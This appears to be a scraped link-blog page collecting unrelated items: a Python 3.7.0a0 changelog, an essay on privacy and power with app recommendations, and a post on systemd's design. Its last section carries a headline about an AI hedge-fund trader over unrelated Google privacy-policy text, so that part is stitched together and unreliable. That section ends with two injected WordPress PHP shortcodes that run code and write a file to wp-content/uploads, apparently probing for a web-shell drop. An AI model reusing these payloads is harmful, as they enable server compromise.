Changelog — Python 3.7.0a0 documentation

Python 3.7.0 alpha 1

Release date: XXXX-XX-XX

Core and Builtins

  • Issue #29319: Prevent RunMainFromImporter overwriting sys.path[0].
  • Issue #29337: Fixed possible BytesWarning when compare the code objects. Warnings could be emitted at compile time.
  • Issue #29327: Fixed a crash when pass the iterable keyword argument to sorted().
  • Issue #29034: Fix memory leak and use-after-free in os module (path_converter).
  • Issue #29159: Fix regression in bytes(x) when x.__index__() raises Exception.
  • Issue #29049: Call _PyObject_GC_TRACK() lazily when calling Python function. Calling function is up to 5% faster.
  • Issue #28927: bytes.fromhex() and bytearray.fromhex() now ignore all ASCII whitespace, not only spaces. Patch by Robert Xiao.
  • Issue #28932: Do not include <sys/random.h> if it does not exist.
  • Issue #25677: Correct the positioning of the syntax error caret for indented blocks. Based on patch by Michael Layzell.
  • Issue #29000: Fixed bytes formatting of octals with zero padding in alternate form.
  • Issue #18896: Python function can now have more than 255 parameters. collections.namedtuple() now supports tuples with more than 255 elements.
  • Issue #28596: The preferred encoding is UTF-8 on Android. Patch written by Chi Hsuan Yen.
  • Issue #26919: On Android, operating system data is now always encoded/decoded to/from UTF-8, instead of the locale encoding to avoid inconsistencies with os.fsencode() and os.fsdecode() which are already using UTF-8.
  • Issue #28991: functools.lru_cache() was susceptible to an obscure reentrancy bug triggerable by a monkey-patched len() function.
  • Issue #28147: Fix a memory leak in split-table dictionaries: setattr() must not convert combined table into split table. Patch written by INADA Naoki.
  • Issue #28739: f-string expressions are no longer accepted as docstrings and by ast.literal_eval() even if they do not include expressions.
  • Issue #28512: Fixed setting the offset attribute of SyntaxError by PyErr_SyntaxLocationEx() and PyErr_SyntaxLocationObject().
  • Issue #28918: Fix the cross compilation of xxlimited when Python has been built with Py_DEBUG defined.
  • Issue #23722: Rather than silently producing a class that doesn’t support zero-argument super() in methods, failing to pass the new __classcell__ namespace entry up to type.__new__ now results in a DeprecationWarning and a class that supports zero-argument super().
  • Issue #28797: Modifying the class __dict__ inside the __set_name__ method of a descriptor that is used inside that class no longer prevents calling the __set_name__ method of other descriptors.
  • Issue #28799: Remove the PyEval_GetCallStats() function and deprecate the untested and undocumented sys.callstats() function. Remove the CALL_PROFILE special build: use the sys.setprofile() function, cProfile or profile to profile function calls.
  • Issue #12844: More than 255 arguments can now be passed to a function.
  • Issue #28782: Fix a bug in the implementation yield from when checking if the next instruction is YIELD_FROM. Regression introduced by WORDCODE (issue #26647).
  • Issue #28774: Fix error position of the unicode error in ASCII and Latin1 encoders when a string returned by the error handler contains multiple non-encodable characters (non-ASCII for the ASCII codec, characters out of the U+0000-U+00FF range for Latin1).
  • Issue #28731: Optimize _PyDict_NewPresized() to create correct size dict. Improve speed of dict literal with constant keys up to 30%.
  • Issue #28532: Show sys.version when -V option is supplied twice.
  • Issue #27100: The with-statement now checks for __enter__ before it checks for __exit__. This gives less confusing error messages when both methods are missing. Patch by Jonathan Ellington.
  • Issue #28746: Fix the set_inheritable() file descriptor method on platforms that do not have the ioctl FIOCLEX and FIONCLEX commands.
  • Issue #26920: Fix not getting the locale’s charset upon initializing the interpreter, on platforms that do not have langinfo.
  • Issue #28648: Fixed crash in Py_DecodeLocale() in debug build on Mac OS X when decode astral characters. Patch by Xiang Zhang.
  • Issue #28665: Improve speed of the STORE_DEREF opcode by 40%.
  • Issue #19398: Extra slash no longer added to sys.path components in case of empty compile-time PYTHONPATH components.
  • Issue #28621: Sped up converting int to float by reusing faster bits counting implementation. Patch by Adrian Wielgosik.
  • Issue #28580: Optimize iterating split table values. Patch by Xiang Zhang.
  • Issue #28583: PyDict_SetDefault didn’t combine split table when needed. Patch by Xiang Zhang.
  • Issue #28128: Deprecation warning for invalid str and byte escape sequences now prints better information about where the error occurs. Patch by Serhiy Storchaka and Eric Smith.
  • Issue #28509: dict.update() no longer allocate unnecessary large memory.
  • Issue #28426: Fixed potential crash in PyUnicode_AsDecodedObject() in debug build.
  • Issue #28517: Fixed of-by-one error in the peephole optimizer that caused keeping unreachable code.
  • Issue #28214: Improved exception reporting for problematic __set_name__ attributes.
  • Issue #23782: Fixed possible memory leak in _PyTraceback_Add() and exception loss in PyTraceBack_Here().
  • Issue #28183: Optimize and cleanup dict iteration.
  • Issue #26081: Added C implementation of asyncio.Future. Original patch by Yury Selivanov.
  • Issue #28379: Added sanity checks and tests for PyUnicode_CopyCharacters(). Patch by Xiang Zhang.
  • Issue #28376: The type of long range iterator is now registered as Iterator. Patch by Oren Milman.
  • Issue #28376: Creating instances of range_iterator by calling range_iterator type now is disallowed. Calling iter() on range instance is the only way. Patch by Oren Milman.
  • Issue #26906: Resolving special methods of uninitialized type now causes implicit initialization of the type instead of a fail.
  • Issue #18287: PyType_Ready() now checks that tp_name is not NULL. Original patch by Niklas Koep.
  • Issue #24098: Fixed possible crash when AST is changed in process of compiling it.
  • Issue #28201: Dict reduces possibility of 2nd conflict in hash table when hashes have same lower bits.
  • Issue #28350: String constants with null character no longer interned.
  • Issue #26617: Fix crash when GC runs during weakref callbacks.
  • Issue #27942: String constants now interned recursively in tuples and frozensets.
  • Issue #28289: ImportError.__init__ now resets not specified attributes.
  • Issue #21578: Fixed misleading error message when ImportError called with invalid keyword args.
  • Issue #28203: Fix incorrect type in complex(1.0, {2:3}) error message. Patch by Soumya Sharma.
  • Issue #28086: Single var-positional argument of tuple subtype was passed unscathed to the C-defined function. Now it is converted to exact tuple.
  • Issue #28214: Now __set_name__ is looked up on the class instead of the instance.
  • Issue #27955: Fallback on reading /dev/urandom device when the getrandom() syscall fails with EPERM, for example when blocked by SECCOMP.
  • Issue #28192: Don’t import readline in isolated mode.
  • Issue #27441: Remove some redundant assignments to ob_size in longobject.c. Thanks Oren Milman.
  • Issue #27222: Clean up redundant code in long_rshift function. Thanks Oren Milman.
  • Upgrade internal unicode databases to Unicode version 9.0.0.
  • Issue #28131: Fix a regression in zipimport’s compile_source(). zipimport should use the same optimization level as the interpreter.
  • Issue #28126: Replace Py_MEMCPY with memcpy(). Visual Studio can properly optimize memcpy().
  • Issue #28120: Fix dict.pop() for splitted dictionary when trying to remove a “pending key” (Not yet inserted in split-table). Patch by Xiang Zhang.
  • Issue #26182: Raise DeprecationWarning when async and await keywords are used as variable/attribute/class/function name.
  • Issue #26182: Fix a refleak in code that raises DeprecationWarning.
  • Issue #28721: Fix asynchronous generators aclose() and athrow() to handle StopAsyncIteration propagation properly.
  • Issue #26110: Speed-up method calls: add LOAD_METHOD and CALL_METHOD opcodes.

Extension Modules

Source: Changelog — Python 3.7.0a0 documentation

 

Privacy is Power

Privacy isn’t about you. It’s about all of us. To worry about privacy today, even though you may have no compelling reason to, is one of the largest contributions you can make to the future of humankind and the nature of governance.

Privacy is about power. Many of us have taken a middle school course on civics, and the functioning of the U.S government. You know, three branches of government and checks and balances, or you may remember it as, like that’s ever going to come up.

Enter February 2017. Oh.

We owe this balanced functioning of a government to the strong paranoia of several individuals 240 years ago, enacting what can be described as even ridiculous measures to ensure some abstract functioning of a government that hadn’t even begun yet.

None of these individuals reaped any tangible benefits from their actions and contributions in their lifetime. But without them, our lives and reality today would be very different.

Many of us are today exhausted worrying after our privacy, not knowing how to keep up with the newest trends in encrypted messaging apps or which new wire-tapping programs can monitor which type of software on what port over what technology.

And after the initial burst of adrenaline rush from hide-and-seek wears off, it’s easy to feel worn out, especially because we aren’t seeing any tangible benefits to our efforts.

But privacy isn’t just about you or me, and what immediate returns we may see on our investment. It’s about the future of power. Of ensuring a system of checks and balances between ourselves and our governments and other large entities. There is a reason the information we produce is so cherished by these entities, and they will fight till the end to make sure our information is in their control. And because these entities are already so much more powerful than the collective privacy conscious, self-doubt and defeat is a reoccurring event.

Battles may be lost, but never doubt the significance of this cause. A paranoia is in the air, like the paranoia of 1776. Don’t ignore it. Don’t believe it isn’t real. Don’t believe it’s not important.

You are creating a better future for the people of 2217.

And as humans who live comfortably today on the contributions and sacrifices of those before us, we owe it to contribute just as much to ensure a better life for our descendants. The fight for privacy will wage on for the next hundred years, and it starts with the actions, sacrifices, and decisions we make today.


As humans in this century, some of the most important byproducts of our existence is the information produced and stored in our emails, notes, and messages. And make no mistake about it: this information belongs to you, and to no one else. You can join the fight for a balanced control of power by using and supporting applications that strive for privacy first and foremost.

Email
ProtonMail — Secure Email Based in Switzerland
FastMail — Private, secure, ad-free email hosting for you or your business

Notes
Standard Notes (by the author) — A standard notes app with an un-standard focus on longevity, portability, and privacy.
Turtl — Take notes, bookmark websites, and store documents for sensitive projects.
Laverna — Keep your notes private.

Messaging
Semaphor — Encrypted group chat and file-sharing.
Signal — Private messaging.
Telegram — A new era of messaging.

Source: https://journal.standardnotes.org/privacy-is-power-f0a064ab36ea#.3rlsmnynq

 

Chris’s Wiki :: blog/linux/SystemdAndItsIdealism

When it started out, systemd was in many ways relentlessly pragmatic. My shining example of this is that the developers went to fairly great lengths to integrate both System V init scripts and /etc/fstab into systemd in a fairly deep and thus quite convenient way. The easy way would have been to just run things and mount filesystems through some compatibility shims and programs. Systemd went the extra distance to make them more or less real units, which means that you can do things like add extra dependencies to System V init scripts through /etc/systemd/system overrides, just as if they were native systemd units.

(This has not always worked seamlessly, especially for mounts, but it has gotten better over time.)

As well as being convenient for people using systemd, I suspect that this was a pragmatic decision. Being a better System V init than SysV init itself undoubtedly didn’t hurt systemd’s case to be the winning init system; it gave people a few more reasons to like systemd and approve of it and maybe even push for it.

Source: Chris’s Wiki :: blog/linux/SystemdAndItsIdealism

 

Silicon Valley Hedge Fund Takes On Wall Street With AI Trader

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php]
[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]